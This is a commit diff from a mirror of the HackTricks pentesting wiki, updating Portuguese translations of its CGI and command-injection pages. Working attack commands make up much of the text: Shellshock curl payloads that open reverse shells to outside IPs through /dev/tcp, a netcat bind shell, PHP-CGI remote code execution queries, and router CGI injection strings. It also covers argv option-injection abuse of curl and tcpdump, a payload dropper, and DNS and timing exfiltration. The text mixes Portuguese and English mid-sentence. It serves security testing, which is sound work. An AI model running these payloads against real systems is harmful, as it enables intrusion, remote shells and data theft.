mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/cgi.md',
This commit is contained in:
parent
4e0451e592
commit
bf2d334068
@ -1,26 +1,30 @@
|
|||||||
|
# CGI Pentesting
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
# Informação
|
|
||||||
|
|
||||||
Os **scripts CGI são scripts perl**, então, se você comprometeu um servidor que pode executar _**.cgi**_ scripts, você pode **fazer upload de um shell reverso perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **mudar a extensão** de **.pl** para **.cgi**, dar **permissões de execução** \(`chmod +x`\) e **acessar** o shell reverso **pelo navegador** para executá-lo. Para testar por **vulnerabilidades CGI**, é recomendado usar `nikto -C all` \(e todos os plugins\)
|
## Information
|
||||||
|
|
||||||
# **ShellShock**
|
The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** from **.pl** to **.cgi**, give **execute permissions** \(`chmod +x`\) and **access** the reverse shell **from the web browser** to execute it.
|
||||||
|
In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(and all the plugins\)
|
||||||
|
|
||||||
**ShellShock** é uma **vulnerabilidade** que afeta o amplamente utilizado **Bash** shell de linha de comando em sistemas operacionais baseados em Unix. Ela ataca a capacidade do Bash de executar comandos passados por aplicativos. A vulnerabilidade reside na manipulação de **variáveis de ambiente**, que são valores nomeados dinâmicos que impactam como os processos são executados em um computador. Os atacantes podem explorar isso anexando **código malicioso** a variáveis de ambiente, que é executado ao receber a variável. Isso permite que os atacantes potencialmente comprometam o sistema.
|
## **ShellShock**
|
||||||
|
|
||||||
Explorando essa vulnerabilidade, a **página pode gerar um erro**.
|
**ShellShock** é uma **vulnerabilidade** que afeta o amplamente usado shell de linha de comando **Bash** em sistemas operacionais baseados em Unix. Ela explora a capacidade do Bash de executar comandos passados por aplicações. A vulnerabilidade está na manipulação de **variáveis de ambiente**, que são valores nomeados dinâmicos que impactam como processos são executados em um computador. Atacantes podem explorar isso anexando **código malicioso** às variáveis de ambiente, que é executado ao receber a variável. Isso permite que atacantes potencialmente comprometam o sistema.
|
||||||
|
|
||||||
Você pode **encontrar** essa vulnerabilidade notando que está usando uma **versão antiga do Apache** e **cgi_mod** \(com a pasta cgi\) ou usando **nikto**.
|
Ao explorar essa vulnerabilidade a **página pode lançar um erro**.
|
||||||
|
|
||||||
## **Teste**
|
Você pode **encontrar** essa vulnerabilidade percebendo que está usando uma **versão antiga do Apache** e **cgi_mod** \(com pasta cgi\) ou usando **nikto**.
|
||||||
|
|
||||||
A maioria dos testes é baseada em ecoar algo e esperar que essa string seja retornada na resposta da web. Se você acha que uma página pode ser vulnerável, procure por todas as páginas cgi e teste-as.
|
### **Test**
|
||||||
|
|
||||||
|
A maioria dos testes baseia-se em usar o comando `echo` para imprimir algo e esperar que essa string seja retornada na resposta web. Se você achar que uma página pode ser vulnerável, procure por todas as páginas cgi e teste-as.
|
||||||
|
|
||||||
**Nmap**
|
**Nmap**
|
||||||
```bash
|
```bash
|
||||||
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
|
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
|
||||||
```
|
```
|
||||||
## **Curl \(refletido, cego e fora de banda\)**
|
## **Curl \(reflected, blind and out-of-band\)**
|
||||||
```bash
|
```bash
|
||||||
# Reflected
|
# Reflected
|
||||||
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
|
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
|
||||||
@ -33,7 +37,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http:
|
|||||||
```bash
|
```bash
|
||||||
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
|
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
|
||||||
```
|
```
|
||||||
## Explorar
|
### Exploit
|
||||||
```bash
|
```bash
|
||||||
#Bind Shell
|
#Bind Shell
|
||||||
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
|
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
|
||||||
@ -47,23 +51,57 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
|
|||||||
> set rhosts 10.1.2.11
|
> set rhosts 10.1.2.11
|
||||||
> run
|
> run
|
||||||
```
|
```
|
||||||
# **Proxy \(MitM para solicitações de servidor web\)**
|
## Roteadores CGI centralizados (single endpoint routing via selector parameters)
|
||||||
|
|
||||||
CGI cria uma variável de ambiente para cada cabeçalho na solicitação http. Por exemplo: "host:web.com" é criado como "HTTP_HOST"="web.com"
|
Muitas interfaces web embarcadas multiplexam dezenas de ações privilegiadas por trás de um único CGI endpoint (por exemplo, `/cgi-bin/cstecgi.cgi`) e usam um parâmetro seletor como `topicurl=<handler>` para rotear a requisição para uma função interna.
|
||||||
|
|
||||||
Como a variável HTTP_PROXY pode ser usada pelo servidor web. Tente enviar um **cabeçalho** contendo: "**Proxy: <IP_atacante>:<PORTA>**" e se o servidor realizar qualquer solicitação durante a sessão. Você poderá capturar cada solicitação feita pelo servidor.
|
Methodology to exploit these routers:
|
||||||
|
|
||||||
# Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
|
- Enumerar nomes de handlers: scrape JS/HTML, brute-force com wordlists, ou unpack firmware e grep por strings de handler usadas pelo dispatcher.
|
||||||
|
- Testar unauthenticated reachability: alguns handlers esquecem auth checks e são diretamente chamáveis.
|
||||||
|
- Focar em handlers que invocam system utilities ou touch files; validadores fracos frequentemente bloqueiam apenas alguns caracteres e podem perder o hífen inicial `-`.
|
||||||
|
|
||||||
Basicamente, se cgi estiver ativo e php for "antigo" \(<5.3.12 / < 5.4.2\) você pode executar código.
|
Formas genéricas de exploit:
|
||||||
Para explorar essa vulnerabilidade, você precisa acessar algum arquivo PHP do servidor web sem enviar parâmetros \(especialmente sem enviar o caractere "="\).
|
```http
|
||||||
Então, para testar essa vulnerabilidade, você poderia acessar, por exemplo, `/index.php?-s` \(note o `-s`\) e **o código fonte da aplicação aparecerá na resposta**.
|
POST /cgi-bin/cstecgi.cgi HTTP/1.1
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
Então, para obter **RCE**, você pode enviar esta consulta especial: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` e o **código PHP** a ser executado no **corpo da solicitação. Exemplo:**
|
# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
|
||||||
|
topicurl=<handler>¶m=-n
|
||||||
|
|
||||||
|
# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
|
||||||
|
topicurl=setEasyMeshAgentCfg&agentName=;id;
|
||||||
|
|
||||||
|
# 3) Validator bypass → arbitrary file write in file-touching handlers
|
||||||
|
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
|
||||||
|
```
|
||||||
|
Detection and hardening:
|
||||||
|
|
||||||
|
- Watch for unauthenticated requests to centralized CGI endpoints with `topicurl` set to sensitive handlers.
|
||||||
|
- Flag parameters that begin with `-` (argv option injection attempts).
|
||||||
|
- Vendors: enforce authentication on all state-changing handlers, validate using strict allowlists/types/lengths, and never pass user-controlled strings as command-line flags.
|
||||||
|
|
||||||
|
## PHP antigo + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
|
||||||
|
|
||||||
|
Basicamente, se o CGI estiver ativo e o PHP for "antigo" \(<5.3.12 / < 5.4.2\) você pode executar código.
|
||||||
|
Para explorar essa vulnerabilidade você precisa acessar algum arquivo PHP do servidor web sem enviar parâmetros \(especialmente sem enviar o caractere "="\).
|
||||||
|
Então, para testar essa vulnerabilidade, você pode acessar por exemplo `/index.php?-s` \(note o `-s`\) e **o código-fonte da aplicação aparecerá na resposta**.
|
||||||
|
|
||||||
|
Para obter **RCE** você pode enviar esta consulta especial: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` e o **código PHP** a ser executado no **corpo da requisição.
|
||||||
|
Example:**
|
||||||
```bash
|
```bash
|
||||||
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
|
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
|
||||||
```
|
```
|
||||||
**Mais informações sobre a vulnerabilidade e possíveis explorações:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
|
**Mais informações sobre o vuln e possíveis exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
|
||||||
|
|
||||||
|
## **Proxy \(MitM para requisições do servidor web\)**
|
||||||
|
|
||||||
|
CGI cria uma variável de ambiente para cada cabeçalho na requisição HTTP. Por exemplo: "host:web.com" é criado como "HTTP_HOST"="web.com"
|
||||||
|
|
||||||
|
Como a variável HTTP_PROXY pode ser usada pelo servidor web, tente enviar um **header** contendo: "**Proxy: <IP_attacker>:<PORT>**" e, se o servidor executar qualquer requisição durante a sessão, você poderá capturar cada requisição feita pelo servidor.
|
||||||
|
|
||||||
|
## **Referências**
|
||||||
|
|
||||||
|
- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -4,11 +4,11 @@
|
|||||||
|
|
||||||
## What is command Injection?
|
## What is command Injection?
|
||||||
|
|
||||||
A **command injection** permite a execução de comandos arbitrários do sistema operacional por um atacante no servidor que hospeda uma aplicação. Como resultado, a aplicação e todos os seus dados podem ser totalmente comprometidos. A execução desses comandos normalmente permite ao atacante obter acesso não autorizado ou controle sobre o ambiente da aplicação e o sistema subjacente.
|
Uma **command injection** permite a execução de comandos arbitrários do sistema operacional por um atacante no servidor que hospeda uma aplicação. Como resultado, a aplicação e todos os seus dados podem ser totalmente comprometidos. A execução desses comandos normalmente permite ao atacante obter acesso não autorizado ou controle sobre o ambiente da aplicação e o sistema subjacente.
|
||||||
|
|
||||||
### Contexto
|
### Contexto
|
||||||
|
|
||||||
Dependendo de **onde sua entrada está sendo injetada** você pode precisar **encerrar o contexto entre aspas** (usando `"` ou `'`) antes dos comandos.
|
Dependendo de **onde sua entrada está sendo injetada**, você pode precisar **encerrar o contexto entre aspas** (usando `"` ou `'`) antes dos comandos.
|
||||||
|
|
||||||
## Command Injection/Execution
|
## Command Injection/Execution
|
||||||
```bash
|
```bash
|
||||||
@ -32,7 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
|||||||
```
|
```
|
||||||
### **Limition** Bypasses
|
### **Limition** Bypasses
|
||||||
|
|
||||||
Se você está tentando executar **comandos arbitrários dentro de uma máquina linux** você terá interesse em ler sobre estes **Bypasses:**
|
Se você está tentando executar **arbitrary commands inside a linux machine**, vai se interessar em ler sobre estes **Bypasses:**
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
|||||||
```
|
```
|
||||||
### Parâmetros
|
### Parâmetros
|
||||||
|
|
||||||
Aqui estão os 25 principais parâmetros que podem ser vulneráveis a code injection e vulnerabilidades RCE semelhantes (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
Aqui estão os 25 principais parâmetros que podem ser vulneráveis a code injection e a vulnerabilidades RCE semelhantes (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||||
```
|
```
|
||||||
?cmd={payload}
|
?cmd={payload}
|
||||||
?exec={payload}
|
?exec={payload}
|
||||||
@ -77,7 +77,7 @@ Aqui estão os 25 principais parâmetros que podem ser vulneráveis a code injec
|
|||||||
```
|
```
|
||||||
### Time based data exfiltration
|
### Time based data exfiltration
|
||||||
|
|
||||||
Extraindo dados: char by char
|
Extraindo data: char por char
|
||||||
```
|
```
|
||||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||||
real 0m5.007s
|
real 0m5.007s
|
||||||
@ -91,7 +91,7 @@ sys 0m0.000s
|
|||||||
```
|
```
|
||||||
### DNS based data exfiltration
|
### DNS based data exfiltration
|
||||||
|
|
||||||
Baseado na ferramenta `https://github.com/HoLyVieR/dnsbin`, também hospedada em dnsbin.zhack.ca
|
Baseado na ferramenta de `https://github.com/HoLyVieR/dnsbin`, também hospedada em dnsbin.zhack.ca
|
||||||
```
|
```
|
||||||
1. Go to http://dnsbin.zhack.ca/
|
1. Go to http://dnsbin.zhack.ca/
|
||||||
2. Execute a simple 'ls'
|
2. Execute a simple 'ls'
|
||||||
@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
|
|||||||
/* … */
|
/* … */
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
`exec()` spawns a **shell** (`/bin/sh -c`), portanto qualquer caractere que tenha significado especial para o shell (back-ticks, `;`, `&&`, `|`, `$()`, …) resultará em **command injection** quando a entrada do usuário for concatenada na string.
|
`exec()` inicia uma **shell** (`/bin/sh -c`), portanto qualquer caractere que tenha significado especial para a shell (aspas invertidas, `;`, `&&`, `|`, `$()`, …) resultará em **command injection** quando a entrada do usuário for concatenada na string.
|
||||||
|
|
||||||
**Mitigação:** use `execFile()` (ou `spawn()` sem a opção `shell`) e forneça **cada argumento como um elemento separado do array** para que nenhum shell seja envolvido:
|
**Mitigação:** use `execFile()` (ou `spawn()` sem a opção `shell`) e forneça **cada argumento como um elemento separado do array** para que nenhuma shell esteja envolvida:
|
||||||
```javascript
|
```javascript
|
||||||
const { execFile } = require('child_process');
|
const { execFile } = require('child_process');
|
||||||
execFile('/usr/bin/do-something', [
|
execFile('/usr/bin/do-something', [
|
||||||
@ -140,9 +140,38 @@ execFile('/usr/bin/do-something', [
|
|||||||
'--payload', JSON.stringify(payload)
|
'--payload', JSON.stringify(payload)
|
||||||
]);
|
]);
|
||||||
```
|
```
|
||||||
Caso real: *Synology Photos* ≤ 1.7.0-0794 era explorável através de um evento WebSocket não autenticado que colocava dados controlados pelo atacante em `id_user`, que depois eram incorporados em uma chamada `exec()`, conseguindo RCE (Pwn2Own Ireland 2024).
|
Caso real: *Synology Photos* ≤ 1.7.0-0794 era explorável através de um evento WebSocket não autenticado que colocou dados controlados pelo atacante em `id_user`, os quais foram posteriormente embutidos em uma chamada `exec()`, permitindo RCE (Pwn2Own Ireland 2024).
|
||||||
|
|
||||||
## Brute-Force Detection List
|
### Argument/Option injection via leading hyphen (argv, no shell metacharacters)
|
||||||
|
|
||||||
|
Nem todas as injeções exigem metacaracteres do shell. Se a aplicação passa strings não confiáveis como argumentos para um utilitário do sistema (mesmo com `execve`/`execFile` e sem shell), muitos programas ainda interpretarão qualquer argumento que comece com `-` ou `--` como uma opção. Isso permite que um atacante mude modos, altere caminhos de saída ou dispare comportamentos perigosos sem nunca abrir um shell.
|
||||||
|
|
||||||
|
Locais típicos onde isso aparece:
|
||||||
|
|
||||||
|
- Embedded web UIs/CGI handlers que constroem comandos como `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, etc.
|
||||||
|
- Centralized CGI routers (e.g., `/cgi-bin/<something>.cgi` com um parâmetro seletor como `topicurl=<handler>`) onde múltiplos handlers reutilizam o mesmo validador fraco.
|
||||||
|
|
||||||
|
O que tentar:
|
||||||
|
|
||||||
|
- Forneça valores que comecem com `-`/`--` para serem interpretados como flags pela ferramenta a jusante.
|
||||||
|
- Abusar de flags que mudam o comportamento ou escrevem arquivos, por exemplo:
|
||||||
|
- `ping`: `-f`/`-c 100000` para sobrecarregar o dispositivo (DoS)
|
||||||
|
- `curl`: `-o /tmp/x` para gravar caminhos arbitrários, `-K <url>` para carregar configuração controlada pelo atacante
|
||||||
|
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` para obter execução após rotação em wrappers inseguros
|
||||||
|
- Se o programa aceita `--` (end-of-options), tente contornar mitigações ingênuas que prefixam `--` no lugar errado.
|
||||||
|
|
||||||
|
Formas genéricas de PoC contra roteadores CGI centralizados:
|
||||||
|
```
|
||||||
|
POST /cgi-bin/cstecgi.cgi HTTP/1.1
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
|
# Flip options in a downstream tool via argv injection
|
||||||
|
topicurl=<handler>¶m=-n
|
||||||
|
|
||||||
|
# Unauthenticated RCE when a handler concatenates into a shell
|
||||||
|
topicurl=setEasyMeshAgentCfg&agentName=;id;
|
||||||
|
```
|
||||||
|
## Lista de Detecção de Brute-Force
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -157,5 +186,6 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
|
|||||||
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
||||||
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
|
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
|
||||||
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||||||
|
- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user